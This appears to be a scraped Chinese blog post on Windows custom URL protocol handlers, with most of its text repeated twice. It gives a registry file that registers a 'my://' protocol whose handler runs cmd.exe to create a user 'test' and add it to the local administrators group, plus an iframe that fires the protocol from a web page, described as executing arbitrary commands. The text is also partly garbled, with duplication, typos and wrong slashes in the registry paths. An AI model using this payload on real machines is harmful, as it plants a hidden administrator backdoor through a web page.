凡具有/HEKY_CLASSES_ROOT/MyProtocol/"URL Protocol"==reg_sz:""键值的,该MyProtocol均被注册为系统的协议
[HKEY_CLASSES_ROOT/MY/shell/open/command]
@="MyCMD.exe /"%1/""
MyProtol://location调用的时候形如:
MyCMD.exe MyProtocol://location
[HKEY_CLASSES_ROOT/MY/shell/open/command]
@="MyCMD.exe /"%1/""
MyProtol://location调用的时候形如:
MyCMD.exe MyProtocol://location
可以先注册一个协议:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT/MY]
@="MY PROTOCOL"
"URL Protocol"=""
[HKEY_CLASSES_ROOT/MY/shell/open/command]
@="cmd.exe /c net user test test /add&net localgroup administrators test /add"
然后调用该协议,可在网页执行任意命令
<iframe src="my://"></iframe>
附coolice的名字解析:coolice 顾名思义 冷冰
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT/MY]
@="MY PROTOCOL"
"URL Protocol"=""
[HKEY_CLASSES_ROOT/MY/shell/open/command]
@="cmd.exe /c net user test test /add&net localgroup administrators test /add"
然后调用该协议,可在网页执行任意命令
<iframe src="my://"></iframe>
附coolice的名字解析:coolice 顾名思义 冷冰

博客介绍了在Windows系统中,具有特定键值的协议可被注册为系统协议,如MyProtocol。还给出了注册协议的示例,以及通过调用协议在网页执行任意命令的方法,如使用<iframe src=\my://\></iframe>。
2890





